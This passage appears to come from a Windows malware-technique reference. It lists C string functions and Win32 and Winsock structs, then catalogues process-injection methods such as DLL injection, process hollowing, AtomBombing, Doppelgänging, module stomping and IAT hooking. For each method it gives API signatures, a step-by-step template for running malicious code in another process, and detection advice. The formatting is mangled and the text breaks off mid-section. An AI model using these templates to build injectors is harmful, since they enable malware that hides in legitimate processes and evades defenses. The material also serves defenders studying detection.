int_wcsnicmp(constwchar_t*str1,constwchar_t*str2,size_tcount);// Compares up to count characters of two wide strings lexicographically, ignoring case.
[wcschr]
wchar_t*wcschr(constwchar_t*str,wchar_tc);// Finds the first occurrence of the wide character c in the wide string str.
[wcsrchr]
wchar_t*wcsrchr(constwchar_t*str,wchar_tc);// Finds the last occurrence of the wide character c in the wide string str.
[wcspbrk]
wchar_t*wcspbrk(constwchar_t*str1,constwchar_t*str2);// Finds the first occurrence in the wide string str1 of any character from the wide string str2.
[wcsstr]
wchar_t*wcsstr(constwchar_t*str1,constwchar_t*str2);// Finds the first occurrence of the wide string str2 in the wide string str1.
[wcstok]
wchar_t*wcstok(wchar_t*str,constwchar_t*delimiters);// Splits the wide string str into tokens based on the delimiters.
[towupper]
wint_ttowupper(wint_tc);// Converts a wide character to uppercase.
[towlower]
wint_ttowlower(wint_tc);// Converts a wide character to lowercase.
[iswalpha]
intiswalpha(wint_tc);// Checks if the wide character is an alphabetic character.
[iswdigit]
intiswdigit(wint_tc);// Checks if the wide character is a decimal digit.
[iswalnum]
intiswalnum(wint_tc);// Checks if the wide character is an alphanumeric character.
[iswspace]
intiswspace(wint_tc);// Checks if the wide character is a whitespace character.
[iswxdigit]
intiswxdigit(wint_tc);// Checks if the wide character is a valid hexadecimal digit.
#include<sysinfoapi.h>// Contains information about the current computer system, including the architecture and type of the processor, the number of processors, and the page size.typedefstruct_SYSTEM_INFO {union { DWORD dwOemId;struct { WORD wProcessorArchitecture; WORD wReserved; } DUMMYSTRUCTNAME; } DUMMYUNIONNAME; DWORD dwPageSize; LPVOID lpMinimumApplicationAddress; LPVOID lpMaximumApplicationAddress; DWORD_PTR dwActiveProcessorMask; DWORD dwNumberOfProcessors; DWORD dwProcessorType; DWORD dwAllocationGranularity; WORD wProcessorLevel; WORD wProcessorRevision;} SYSTEM_INFO;
#include<minwinbase.h>// Represents the number of 100-nanosecond intervals since January 1, 1601 (UTC). Used for file and system time.typedefstruct_FILETIME { DWORD dwLowDateTime; DWORD dwHighDateTime;} FILETIME;
#include<processthreadsapi.h>// Specifies the window station, desktop, standard handles, and appearance of the main window for a process at creation time.typedefstruct_STARTUPINFOA { DWORD cb; LPSTR lpReserved; LPSTR lpDesktop; LPSTR lpTitle; DWORD dwX; DWORD dwY; DWORD dwXSize; DWORD dwYSize; DWORD dwXCountChars; DWORD dwYCountChars; DWORD dwFillAttribute; DWORD dwFlags; WORD wShowWindow; WORD cbReserved2; LPBYTE lpReserved2; HANDLE hStdInput; HANDLE hStdOutput; HANDLE hStdError;} STARTUPINFOA, *LPSTARTUPINFOA;
#include<processthreadsapi.h>// Contains information about a newly created process and its primary thread.typedefstruct_PROCESS_INFORMATION { HANDLE hProcess; HANDLE hThread; DWORD dwProcessId; DWORD dwThreadId;} PROCESS_INFORMATION, *LPPROCESS_INFORMATION;
#include<tlhelp32.h>typedefstructtagPROCESSENTRY32 {DWORDdwSize;DWORDcntUsage;DWORDth32ProcessID;ULONG_PTRth32DefaultHeapID;DWORDth32ModuleID;DWORDcntThreads;DWORDth32ParentProcessID;LONGpcPriClassBase;DWORDdwFlags;CHARszExeFile[MAX_PATH];}PROCESSENTRY32;
// Determines whether the handle can be inherited by child processes and specifies a security descriptor for a new object.typedefstruct_SECURITY_ATTRIBUTES { DWORD nLength; LPVOID lpSecurityDescriptor; BOOL bInheritHandle;} SECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;
#inluce <minwinbase.h>// Contains information used in asynchronous (also known as overlapped) input and output (I/O) operations.typedefstruct_OVERLAPPED { ULONG_PTR Internal; ULONG_PTR InternalHigh;union {struct { DWORD Offset; DWORD OffsetHigh; } DUMMYSTRUCTNAME; PVOID Pointer; } DUMMYUNIONNAME; HANDLE hEvent;} OVERLAPPED, *LPOVERLAPPED;
#include<guiddef.h>// Represents a globally unique identifier (GUID), used to identify objects, interfaces, and other items.typedefstruct_GUID {unsignedlong Data1;unsignedshort Data2;unsignedshort Data3;unsignedchar Data4[8];} GUID;
#include<winnt.h>// Contains information about a range of pages in the virtual address space of a process.typedefstruct_MEMORY_BASIC_INFORMATION { PVOID BaseAddress; PVOID AllocationBase; DWORD AllocationProtect; SIZE_T RegionSize; DWORD State; DWORD Protect; DWORD Type;} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;
#include<minwinbase.h>// Specifies a date and time, using individual members for the month, day, year, weekday, hour, minute, second, and millisecond.typedefstruct_SYSTEMTIME { WORD wYear; WORD wMonth; WORD wDayOfWeek; WORD wDay; WORD wHour; WORD wMinute; WORD wSecond; WORD wMilliseconds;} SYSTEMTIME, *PSYSTEMTIME, *LPSYSTEMTIME;
// Defines the coordinates of a character cell in a console screen buffer, where the origin (0,0) is at the top-left corner.typedefstruct_COORD { SHORT X; SHORT Y;} COORD, *PCOORD;
// Defines the coordinates of the upper left and lower right corners of a rectangle.typedefstruct_SMALL_RECT { SHORT Left; SHORT Top; SHORT Right; SHORT Bottom;} SMALL_RECT;
// Contains information about a console screen buffer.typedefstruct_CONSOLE_SCREEN_BUFFER_INFO { COORD dwSize; COORD dwCursorPosition; WORD wAttributes; SMALL_RECT srWindow; COORD dwMaximumWindowSize;} CONSOLE_SCREEN_BUFFER_INFO, *PCONSOLE_SCREEN_BUFFER_INFO;
#include<winsock.h>// Contains information about the Windows Sockets implementation.typedefstructWSAData { WORD wVersion; WORD wHighVersion;unsignedshort iMaxSockets;unsignedshort iMaxUdpDg;char FAR *lpVendorInfo;char szDescription[WSADESCRIPTION_LEN+1];char szSystemStatus[WSASYS_STATUS_LEN+1];} WSADATA, *LPWSADATA;
[CRITICAL_SECTION](struct RTL_CRITICAL_SECTION (nirsoft.net))
// Represents a critical section object, which is used to provide synchronization access to a shared resource.typedefstruct_RTL_CRITICAL_SECTION { PRTL_CRITICAL_SECTION_DEBUG DebugInfo; LONG LockCount; LONG RecursionCount; HANDLE OwningThread; HANDLE LockSemaphore; ULONG_PTR SpinCount;} RTL_CRITICAL_SECTION, *PRTL_CRITICAL_SECTION;
#include<winsock2.h>// Contains Windows Sockets protocol information.typedefstruct_WSAPROTOCOL_INFOA { DWORD dwServiceFlags1; DWORD dwServiceFlags2; DWORD dwServiceFlags3; DWORD dwServiceFlags4; DWORD dwProviderFlags; GUID ProviderId; DWORD dwCatalogEntryId; WSAPROTOCOLCHAIN ProtocolChain;int iVersion;int iAddressFamily;int iMaxSockAddr;int iMinSockAddr;int iSocketType;int iProtocol;int iProtocolMaxOffset;int iNetworkByteOrder;int iSecurityScheme; DWORD dwMessageSize; DWORD dwProviderReserved; CHAR szProtocol[WSAPROTOCOL_LEN+1];} WSAPROTOCOL_INFOA, *LPWSAPROTOCOL_INFOA;
#include<ws2def.h>// Contains message information for use with the `sendmsg` and `recvmsg` functions.typedefstruct_WSAMSG { LPSOCKADDR name; INT namelen; LPWSABUF lpBuffers; ULONG dwBufferCount; WSABUF Control; ULONG dwFlags;} WSAMSG, *PWSAMSG, *LPWSAMSG;
// A generic socket address structure used for compatibility with various address families.typedefstructsockaddr { u_short sa_family;char sa_data[14];} SOCKADDR, *PSOCKADDR, *LPSOCKADDR;
// Represents an IPv4 socket address, containing the IPv4 address, port number, and address family.typedefstructsockaddr_in {short sin_family; u_short sin_port;structin_addr sin_addr;char sin_zero[8];} SOCKADDR_IN, *PSOCKADDR_IN, *LPSOCKADDR_IN;
// Used to set the socket option SO_LINGER, which determines the action taken when unsent data is queued on a socket and a `closesocket` is performed.typedefstructlinger { u_short l_onoff; u_short l_linger;} LINGER, *PLINGER, *LPLINGER;
// Represents a time interval, used with the `select` function to specify a timeout period.typedefstructtimeval {long tv_sec;long tv_usec;} TIMEVAL, *PTIMEVAL, *LPTIMEVAL;
// Represents a set of sockets used with the `select` function to check for socket events.typedefstructfd_set { u_int fd_count; SOCKET fd_array[FD_SETSIZE];} fd_set, *Pfd_set, *LPfd_set;
// Represents an IPv4 address.typedefstructin_addr {union {struct { u_char s_b1, s_b2, s_b3, s_b4; } S_un_b;struct { u_short s_w1, s_w2; } S_un_w; u_long S_addr; } S_un;} IN_ADDR, *PIN_ADDR, *LPIN_ADDR;
#include<ws2def.h>// Contains information about an address for use with the `getaddrinfo` function, and is used to build a linked list of addresses.typedefstructaddrinfoW {int ai_flags;int ai_family;int ai_socktype;int ai_protocol;size_t ai_addrlen; PWSTR *ai_canonname;structsockaddr *ai_addr;structaddrinfo *ai_next;} ADDRINFOW, *PADDRINFOW;
#include<ws2def.h>// Contains a pointer to a buffer and its length. Used for scatter/gather I/O operations.typedefstruct_WSABUF { ULONG len;__field_bcount(len) CHAR FAR *buf;} WSABUF, FAR * LPWSABUF;
#include<ws2ipdef.h>// Represents an IPv6 socket address, containing the IPv6 address, port number, flow info, and address family.typedefstructsockaddr_in6 {short sin6_family; u_short sin6_port; u_long sin6_flowinfo;structin6_addr sin6_addr; u_long sin6_scope_id;} SOCKADDR_IN6, *PSOCKADDR_IN6, *LPSOCKADDR_IN6;
#include<in6addr.h>// Represents an IPv6 address.typedefstructin6_addr {union { u_char Byte[16]; u_short Word[8]; } u;} IN6_ADDR, *PIN6_ADDR, *LPIN6_ADDR;
This technique forces a process to load a malicious DLL.
Key APIs:
OpenProcessHANDLEOpenProcess(DWORDdwDesiredAccess,BOOLbInheritHandle,DWORDdwProcessId);
VirtualAllocExLPVOIDVirtualAllocEx(HANDLEhProcess,LPVOIDlpAddress,SIZE_TdwSize,DWORDflAllocationType,DWORDflProtect);
WriteProcessMemoryBOOLWriteProcessMemory(HANDLEhProcess,LPVOIDlpBaseAddress,LPCVOIDlpBuffer,SIZE_TnSize,SIZE_T*lpNumberOfBytesWritten);
CreateRemoteThreadHANDLECreateRemoteThread(HANDLEhProcess,LPSECURITY_ATTRIBUTESlpThreadAttributes,SIZE_TdwStackSize,LPTHREAD_START_ROUTINElpStartAddress,LPVOIDlpParameter,DWORDdwCreationFlags,LPDWORDlpThreadId);
GetProcAddressFARPROCGetProcAddress(HMODULEhModule,LPCSTRlpProcName);
LoadLibraryHMODULELoadLibraryA(LPCSTRlpLibFileName);
NtCreateThread(Undocumented)NTSTATUSNTAPINtCreateThread(OUTPHANDLEThreadHandle,INACCESS_MASKDesiredAccess,INPOBJECT_ATTRIBUTESObjectAttributesOPTIONAL,INHANDLEProcessHandle,OUTPCLIENT_IDClientId,INPCONTEXTThreadContext,INPINITIAL_TEBInitialTeb,INBOOLEANCreateSuspended);
RtlCreateUserThread(Undocumented)NTSTATUSNTAPIRtlCreateUserThread(INHANDLEProcessHandle,INPSECURITY_DESCRIPTORSecurityDescriptorOPTIONAL,INBOOLEANCreateSuspended,INULONGStackZeroBits,INOUTPULONGStackReserved,INOUTPULONGStackCommit,INPVOIDStartAddress,INPVOIDStartParameterOPTIONAL,OUTPHANDLEThreadHandle,OUTPCLIENT_IDClientId);
Template:
- Open the target process with
OpenProcess - Allocate memory in the target process with
VirtualAllocEx - Write the DLL path to the allocated memory with
WriteProcessMemory - Get the address of
LoadLibraryAusingGetProcAddress - Create a remote thread in the target process with
CreateRemoteThread, pointing toLoadLibraryApass the address ofLoadLibraryAas thelpStartAddressparameter. - (Optional) Use
NtCreateThreadorRtlCreateUserThreadfor alternative thread creation methods
Detection and Defense:
- Monitor for suspicious process access and memory allocation patterns
- Use application whitelisting to prevent unauthorized DLLs from loading
- Implement process integrity checks
- Use tools like Microsoft's Process Monitor to detect DLL injection attempts
This technique involves writing and executing malicious code in a remote process or the same process (self-injection).
Key APIs:
OpenThreadHANDLEOpenThread(DWORDdwDesiredAccess,BOOLbInheritHandle,DWORDdwThreadId);
SuspendThreadDWORDSuspendThread(HANDLEhThread);
VirtualAllocEx(see above)WriteProcessMemory(see above)SetThreadContextBOOLSetThreadContext(HANDLEhThread,constCONTEXT*lpContext);
ResumeThreadDWORDResumeThread(HANDLEhThread);
NtResumeThread(Undocumented)NTSTATUSNTAPINtResumeThread(INHANDLEThreadHandle,OUTPULONGPreviousSuspendCountOPTIONAL);
Template:
- Open the target thread with
OpenThread - Suspend the thread with
SuspendThread - Allocate memory in the target process with
VirtualAllocEx - Write the malicious code to the allocated memory with
WriteProcessMemory - Modify the thread context to point to the injected code with
SetThreadContext - Resume the thread with
ResumeThreadorNtResumeThread
Detection and Defense:
- Monitor for unusual thread suspension and resumption patterns
- Implement memory integrity checks
- Use Endpoint Detection and Response (EDR) solutions to detect suspicious memory modifications
- Employ runtime process memory scanning techniques
Similar to PE Injection but avoids usingLoadLibrary andCreateRemoteThread. Involves writing a custom loader that can load a DLL from memory without using the standard Windows loader.
Key APIs:
CreateFileMappingHANDLECreateFileMappingA(HANDLEhFile,LPSECURITY_ATTRIBUTESlpFileMappingAttributes,DWORDflProtect,DWORDdwMaximumSizeHigh,DWORDdwMaximumSizeLow,LPCSTRlpName);
MapViewOfFileLPVOIDMapViewOfFile(HANDLEhFileMappingObject,DWORDdwDesiredAccess,DWORDdwFileOffsetHigh,DWORDdwFileOffsetLow,SIZE_TdwNumberOfBytesToMap);
OpenProcess(see above)memcpyvoid*memcpy(void*dest,constvoid*src,size_tcount);
ZwMapViewOfSection(Documented for kernel-mode)NTSTATUSZwMapViewOfSection(HANDLESectionHandle,HANDLEProcessHandle,PVOID*BaseAddress,ULONG_PTRZeroBits,SIZE_TCommitSize,PLARGE_INTEGERSectionOffset,PSIZE_TViewSize,SECTION_INHERITInheritDisposition,ULONGAllocationType,ULONGWin32Protect);
CreateThread(see CreateRemoteThread above)NtQueueApcThread(Undocumented)NTSTATUSNTAPINtQueueApcThread(INHANDLEThreadHandle,INPIO_APC_ROUTINEApcRoutine,INPVOIDApcRoutineContextOPTIONAL,INPIO_STATUS_BLOCKApcStatusBlockOPTIONAL,INULONGApcReservedOPTIONAL);
RtlCreateUserThread(see above)
Additional APIs sometimes used:
VirtualQueryExSIZE_TVirtualQueryEx(HANDLEhProcess,LPCVOIDlpAddress,PMEMORY_BASIC_INFORMATIONlpBuffer,SIZE_TdwLength);
ReadProcessMemoryBOOLReadProcessMemory(HANDLEhProcess,LPCVOIDlpBaseAddress,LPVOIDlpBuffer,SIZE_TnSize,SIZE_T*lpNumberOfBytesRead);
Template:
- Create a file mapping of the DLL with
CreateFileMapping - Map a view of the file with
MapViewOfFile - Open the target process with
OpenProcess - Allocate memory in the target process with
VirtualAllocEx - Copy the DLL contents to the allocated memory with
WriteProcessMemory - Perform manual loading and relocation of the DLL in the target process
- Parse the PE headers
- Allocate memory for each section
- Copy sections to allocated memory
- Process the relocation table:
- Enumerate relocation entries
- Apply relocations based on the new base address
- Resolve imports:
- Walk the import directory
- For each imported function, resolve its address using GetProcAddress
- Write the resolved addresses to the IAT
- Execute the DLL's entry point using one of the thread creation methods
Detection and Defense:
- Implement advanced memory scanning techniques to detect injected code
- Use behavior-based detection to identify suspicious memory allocation patterns
- Monitor for unusual file mapping operations
- Employ heuristic-based detection methods to identify reflective loaders
This technique allows code execution in a specific thread by attaching to an Asynchronous Procedure Call (APC) queue. Works best with alertable threads (those that call alertable wait functions).
Key APIs:
CreateToolhelp32SnapshotHANDLECreateToolhelp32Snapshot(DWORDdwFlags,DWORDth32ProcessID);
Process32FirstBOOLProcess32First(HANDLEhSnapshot,LPPROCESSENTRY32lppe);
Process32NextBOOLProcess32Next(HANDLEhSnapshot,LPPROCESSENTRY32lppe);
Thread32FirstBOOLThread32First(HANDLEhSnapshot,LPTHREADENTRY32lpte);
Thread32NextBOOLThread32Next(HANDLEhSnapshot,LPTHREADENTRY32lpte);
QueueUserAPCDWORDQueueUserAPC(PAPCFUNCpfnAPC,HANDLEhThread,ULONG_PTRdwData);
KeInitializeAPC(Kernel-mode, undocumented)VOIDKeInitializeApc(PRKAPCApc,PRKTHREADThread,KAPC_ENVIRONMENTEnvironment,PKKERNEL_ROUTINEKernelRoutine,PKRUNDOWN_ROUTINERundownRoutine,PKNORMAL_ROUTINENormalRoutine,KPROCESSOR_MODEProcessorMode,PVOIDNormalContext);
Template:
- Create a snapshot of the system processes with
CreateToolhelp32Snapshot - Enumerate processes and threads using
Process32First,Process32Next,Thread32First, andThread32Next - Open the target process with
OpenProcess - Allocate memory in the target process with
VirtualAllocEx - Write the malicious code to the allocated memory with
WriteProcessMemory - Queue an APC to the target thread with
QueueUserAPC, pointing to the injected code
Detection and Defense:
- Monitor for suspicious APC queue operations
- Implement thread execution monitoring to detect unexpected code execution
- Use EDR solutions with capabilities to detect APC abuse
- Employ runtime analysis to identify unusual thread behavior
This technique "drains out" the entire content of a process and inserts malicious content into it.
Key APIs:
CreateProcessBOOLCreateProcessA(LPCSTRlpApplicationName,LPSTRlpCommandLine,LPSECURITY_ATTRIBUTESlpProcessAttributes,LPSECURITY_ATTRIBUTESlpThreadAttributes,BOOLbInheritHandles,DWORDdwCreationFlags,LPVOIDlpEnvironment,LPCSTRlpCurrentDirectory,LPSTARTUPINFOAlpStartupInfo,LPPROCESS_INFORMATIONlpProcessInformation);
NtQueryInformationProcess(Undocumented)NTSTATUSNTAPINtQueryInformationProcess(INHANDLEProcessHandle,INPROCESSINFOCLASSProcessInformationClass,OUTPVOIDProcessInformation,INULONGProcessInformationLength,OUTPULONGReturnLengthOPTIONAL);
GetModuleHandleHMODULEGetModuleHandleA(LPCSTRlpModuleName);
ZwUnmapViewOfSection/NtUnmapViewOfSection(Undocumented)NTSTATUSNTAPINtUnmapViewOfSection(INHANDLEProcessHandle,INPVOIDBaseAddress);
VirtualAllocEx(see above)WriteProcessMemory(see above)GetThreadContextBOOLGetThreadContext(HANDLEhThread,LPCONTEXTlpContext);
SetThreadContext(see above)ResumeThread(see above)
Template:
- Create a new process in a suspended state using
CreateProcesswithCREATE_SUSPENDEDflag - Get the process information using
NtQueryInformationProcess - Unmap the original executable from the process using
NtUnmapViewOfSectionafter unmapping the original executable, adjust the image base address in the PEB (Process Environment Block) to point to the new allocated memory. - Adjust the image base address in the PEB:
- Use
ReadProcessMemoryto read the PEB - Locate the
ImageBaseAddressfield - Use
WriteProcessMemoryto update it with the address of the newly allocated memory
- Allocate memory in the target process with
VirtualAllocEx - Write the malicious executable to the allocated memory with
WriteProcessMemory - Update the thread context to point to the new entry point using
GetThreadContextandSetThreadContext - Resume the main thread of the process with
ResumeThread
Detection and Defense:
- Implement process integrity checks to detect hollowed processes
- Monitor for suspicious process creation patterns, especially with the
CREATE_SUSPENDEDflag - Use memory forensics tools to identify signs of process hollowing
- Employ behavior-based detection to identify processes with unexpected memory layouts
A variant of APC injection that works by splitting the malicious payload into separate strings and using atoms. this technique relies on the fact that atoms are shared across processes.
Key APIs:
OpenThread(see above)GlobalAddAtomATOMGlobalAddAtomA(LPCSTRlpString);
GlobalGetAtomNameUINTGlobalGetAtomNameA(ATOMnAtom,LPSTRlpBuffer,intnSize);
QueueUserAPC(see above)NtQueueApcThread(Undocumented, see above)NtSetContextThread(Undocumented)NTSTATUSNTAPINtSetContextThread(INHANDLEThreadHandle,INPCONTEXTThreadContext);
Template:
- Split the malicious payload into small chunks
- For each chunk, use
GlobalAddAtomto create a global atom - Open the target thread with
OpenThread - Queue an APC to the target thread with
QueueUserAPCorNtQueueApcThread - In the APC routine, use
GlobalGetAtomNameto retrieve the payload chunks - Assemble the payload in the target process memory
- Execute the payload using
NtSetContextThreador by queuing another APC
Detection and Defense:
- Monitor for unusual patterns of atom creation and retrieval
- Implement behavior-based detection for processes accessing a large number of atoms
- Use EDR solutions with capabilities to detect AtomBombing techniques
- Employ runtime analysis to identify suspicious APC usage in combination with atom manipulation
An evolution of Process Hollowing that replaces the image before the process is created. this technique leverages the Windows Transactional NTFS (TxF) to temporarily replace a legitimate file with a malicious one during process creation.
Key APIs:
CreateTransactionHANDLECreateTransaction(LPSECURITY_ATTRIBUTESlpTransactionAttributes,LPGUIDUOW,DWORDCreateOptions,DWORDIsolationLevel,DWORDIsolationFlags,DWORDTimeout,LPWSTRDescription);
CreateFileTransactedHANDLECreateFileTransactedA(LPCSTRlpFileName,DWORDdwDesiredAccess,DWORDdwShareMode,LPSECURITY_ATTRIBUTESlpSecurityAttributes,DWORDdwCreationDisposition,DWORDdwFlagsAndAttributes,HANDLEhTemplateFile,HANDLEhTransaction,PUSHORTpusMiniVersion,PVOIDlpExtendedParameter);
NtCreateSection(Undocumented)NTSTATUSNTAPINtCreateSection(OUTPHANDLESectionHandle,INACCESS_MASKDesiredAccess,INPOBJECT_ATTRIBUTESObjectAttributesOPTIONAL,INPLARGE_INTEGERMaximumSizeOPTIONAL,INULONGSectionPageProtection,INULONGAllocationAttributes,INHANDLEFileHandleOPTIONAL);
NtCreateProcessEx(Undocumented)NTSTATUSNTAPINtCreateProcessEx(OUTPHANDLEProcessHandle,INACCESS_MASKDesiredAccess,INPOBJECT_ATTRIBUTESObjectAttributesOPTIONAL,INHANDLEParentProcess,INULONGFlags,INHANDLESectionHandleOPTIONAL,INHANDLEDebugPortOPTIONAL,INHANDLEExceptionPortOPTIONAL,INBOOLEANInJob);
NtQueryInformationProcess(Undocumented, see above)NtCreateThreadEx(Undocumented)NTSTATUSNTAPINtCreateThreadEx(OUTPHANDLEThreadHandle,INACCESS_MASKDesiredAccess,INPOBJECT_ATTRIBUTESObjectAttributesOPTIONAL,INHANDLEProcessHandle,INPVOIDStartRoutine,INPVOIDArgumentOPTIONAL,INULONGCreateFlags,INSIZE_TZeroBits,INSIZE_TStackSize,INSIZE_TMaximumStackSize,INPPS_ATTRIBUTE_LISTAttributeListOPTIONAL);
RollbackTransactionBOOLRollbackTransaction(HANDLETransactionHandle);
Template:
- Create a transaction using
CreateTransaction - Create a transacted file with
CreateFileTransacted - Write the malicious payload to the transacted file
- Create a section for the transacted file using
NtCreateSection - Create a process from the section using
NtCreateProcessEx - Create a thread in the new process with
NtCreateThreadEx - Rollback the transaction with
RollbackTransactionto remove traces of the malicious file
Detection and Defense:
- Monitor for suspicious transactional NTFS operations
- Implement file integrity monitoring to detect temporary file replacements
- Use advanced EDR solutions capable of detecting Process Doppelgänging techniques
- Employ behavior-based detection to identify processes created from transacted files
Similar to Process Doppelgänging, but exploits the order of process creation and security checks. this technique exploits the fact that Windows performs security checks on the executable file before it starts executing the process.
Key APIs:
CreateFileHANDLECreateFileA(LPCSTRlpFileName,DWORDdwDesiredAccess,DWORDdwShareMode,LPSECURITY_ATTRIBUTESlpSecurityAttributes,DWORDdwCreationDisposition,DWORDdwFlagsAndAttributes,HANDLEhTemplateFile);
NtCreateSection(Undocumented, see above)NtCreateProcessEx(Undocumented, see above)NtCreateThreadEx(Undocumented, see above)
Template:
- Create a file with
CreateFile - Write the malicious payload to the file
- Create a section for the file using
NtCreateSection - Overwrite the file content with benign data
- Create a process from the section using
NtCreateProcessEx - Create a thread in the new process with
NtCreateThreadEx
Detection and Defense:
- Implement file integrity monitoring to detect rapid changes in executable files
- Use behavior-based detection to identify processes with mismatched file contents
- Employ advanced EDR solutions capable of detecting Process Herpaderping techniques
- Monitor for suspicious patterns of file creation, modification, and process creation
This technique uses hooking-related functions to inject a malicious DLL. this technique can also be used for API hooking, not just for injection.
Key APIs:
SetWindowsHookExHHOOKSetWindowsHookExA(intidHook,HOOKPROClpfn,HINSTANCEhmod,DWORDdwThreadId);
PostThreadMessageBOOLPostThreadMessageA(DWORDidThread,UINTMsg,WPARAMwParam,LPARAMlParam);
Template:
- Create a DLL containing the hook procedure
- Use
SetWindowsHookExto set a hook in the target process - Trigger the hook by sending a message with
PostThreadMessage
Detection and Defense:
- Monitor for suspicious usage of
SetWindowsHookEx, especially with global hooks - Implement API hooking detection mechanisms
- Use EDR solutions with capabilities to detect abnormal hook installations
- Employ behavior-based detection to identify processes with unexpected loaded modules
This technique injects code into a process by using the Extra Windows Memory (EWM), which is appended to the instance of a class during window class registration. less common and might be detected by some security solutions.
Key APIs:
FindWindowAHWNDFindWindowA(LPCSTRlpClassName,LPCSTRlpWindowName);
GetWindowThreadProcessIdDWORDGetWindowThreadProcessId(HWNDhWnd,LPDWORDlpdwProcessId);
OpenProcess(see above)VirtualAllocEx(see above)WriteProcessMemory(see above)SetWindowLongPtrALONG_PTRSetWindowLongPtrA(HWNDhWnd,intnIndex,LONG_PTRdwNewLong);
SendNotifyMessageBOOLSendNotifyMessageA(HWNDhWnd,UINTMsg,WPARAMwParam,LPARAMlParam);
Template:
- Find the target window with
FindWindowA - Get the process ID of the window with
GetWindowThreadProcessId - Open the process with
OpenProcess - Allocate memory in the target process with
VirtualAllocEx - Write the malicious code to the allocated memory with
WriteProcessMemory - Use
SetWindowLongPtrAto modify the window's extra memory - Trigger the execution with
SendNotifyMessage
Detection and Defense:
- Monitor for suspicious modifications to window properties
- Implement integrity checks for window class data
- Use EDR solutions with capabilities to detect EWM manipulation
- Employ behavior-based detection to identify processes with unexpected changes in window properties
This technique is used to inject malicious code into processes with medium integrity level, such as explorer.exe. It works by enumerating windows and subclassing them. can be particularly effective for privilege escalation.
Key APIs:
EnumWindowsBOOLEnumWindows(WNDENUMPROClpEnumFunc,LPARAMlParam);
EnumChildWindowsBOOLEnumChildWindows(HWNDhWndParent,WNDENUMPROClpEnumFunc,LPARAMlParam);
EnumPropsintEnumPropsA(HWNDhWnd,PROPENUMPROCAlpEnumFunc);
GetPropHANDLEGetPropA(HWNDhWnd,LPCSTRlpString);
SetWindowSubclassBOOLSetWindowSubclass(HWNDhWnd,SUBCLASSPROCpfnSubclass,UINT_PTRuIdSubclass,DWORD_PTRdwRefData);
FindWindow(see above)FindWindowEx(see above)GetWindowThreadProcessId(see above)OpenProcess(see above)ReadProcessMemory(see above)VirtualAllocEx(see above)WriteProcessMemory(see above)SetPropABOOLSetPropA(HWNDhWnd,LPCSTRlpString,HANDLEhData);
PostMessageBOOLPostMessageA(HWNDhWnd,UINTMsg,WPARAMwParam,LPARAMlParam);
Template:
- Enumerate windows using
EnumWindowsandEnumChildWindows - For each window, check for subclassed windows using
EnumPropsandGetProp - Open the target process with
OpenProcess - Allocate memory in the target process with
VirtualAllocEx - Write the malicious code to the allocated memory with
WriteProcessMemory - Subclass the window using
SetWindowSubclass - Set a new property with
SetPropAto store the payload - Trigger execution by sending a message with
PostMessage
Detection and Defense:
- Monitor for suspicious patterns of window enumeration and subclassing
- Implement integrity checks for window subclassing
- Use EDR solutions with capabilities to detect propagate injection techniques
- Employ behavior-based detection to identify processes with unexpected changes in window subclassing
While not strictly an injection technique, heap spraying is often used in conjunction with other injection methods to facilitate exploit payload delivery. modern browsers and operating systems have implemented mitigations against this.
Key APIs:
HeapAllocLPVOIDHeapAlloc(HANDLEhHeap,DWORDdwFlags,SIZE_TdwBytes);
VirtualAllocLPVOIDVirtualAlloc(LPVOIDlpAddress,SIZE_TdwSize,DWORDflAllocationType,DWORDflProtect);
Template:
- Allocate multiple memory blocks using
HeapAllocorVirtualAlloc - Fill these blocks with a combination of NOP sleds and the payload
- Repeat this process to cover a large portion of the process's address space
Detection and Defense:
- Implement memory allocation monitoring to detect suspicious patterns
- Use address space layout randomization (ASLR) to mitigate heap spraying attacks
- Employ EDR solutions with capabilities to detect heap spraying techniques
- Implement browser-specific mitigations, such as randomizing heap allocation
This technique involves suspending a legitimate thread in a target process, modifying its execution context to point to malicious code, and then resuming the thread. saving and restoring the original thread context required to maintain process stability.
Key APIs:
OpenThread(see above)SuspendThread(see above)GetThreadContext(see above)SetThreadContext(see above)VirtualAllocEx(see above)WriteProcessMemory(see above)ResumeThread(see above)
Template:
- Open the target thread with
OpenThread - Suspend the thread with
SuspendThread - Get the thread context with
GetThreadContext - Allocate memory in the target process with
VirtualAllocEx - Write the malicious code to the allocated memory with
WriteProcessMemory - Modify the thread context to point to the injected code with
SetThreadContext - Resume the thread with
ResumeThread
Detection and Defense:
- Monitor for suspicious patterns of thread suspension and resumption
- Implement thread execution monitoring to detect unexpected changes in execution flow
- Use EDR solutions with capabilities to detect thread hijacking techniques
- Employ runtime analysis to identify unusual thread behavior
This technique overwrites the memory of a legitimate module in the target process with malicious code, potentially bypassing some security checks. detected by integrity checks on loaded modules.
Key APIs:
GetModuleInformationBOOLGetModuleInformation(HANDLEhProcess,HMODULEhModule,LPMODULEINFOlpmodinfo,DWORDcb);
VirtualProtectExBOOLVirtualProtectEx(HANDLEhProcess,LPVOIDlpAddress,SIZE_TdwSize,DWORDflNewProtect,PDWORDlpflOldProtect);
WriteProcessMemory(see above)
Template:
- Open the target process with
OpenProcess - Get information about the target module using
GetModuleInformation - Change the memory protection of the module to writable using
VirtualProtectEx - Overwrite the module's code section with malicious code using
WriteProcessMemory - Restore the original memory protection with
VirtualProtectEx
Detection and Defense:
- Implement module integrity checks to detect modifications to loaded modules
- Use EDR solutions with capabilities to detect module stomping techniques
- Employ memory forensics tools to identify signs of module stomping
- Implement code signing and verification mechanisms for loaded modules
This technique modifies the Import Address Table (IAT) of a process to redirect function calls to malicious code. detected by comparing the IAT entries with the actual function addresses in the target DLLs.
Key APIs:
GetProcAddressFARPROCGetProcAddress(HMODULEhModule,LPCSTRlpProcName);
VirtualProtectBOOLVirtualProtect(LPVOIDlpAddress,SIZE_TdwSize,DWORDflNewProtect,PDWORDlpflOldProtect);
Template:
- Locate the IAT of the target process
- Identify the function to be hooked
- Change the memory protection of the IAT to writable using
VirtualProtect - Replace the original function address with the address of the malicious function
- Calculate the address of the IAT entry for the target function
- Read the original function address from the IAT entry
- Replace the original function address with the address of the malicious function
- Restore the original memory protection
Detection and Defense:
- Implement IAT integrity checks to detect modifications
- Use EDR solutions with capabilities to detect IAT hooking
- Employ runtime analysis to identify unexpected function redirections
- Implement code signing and verification mechanisms for loaded modules
This technique modifies the first few instructions of a function to redirect execution to malicious code. requires careful handling of multi-byte instructions and relative jumps.
Key APIs:
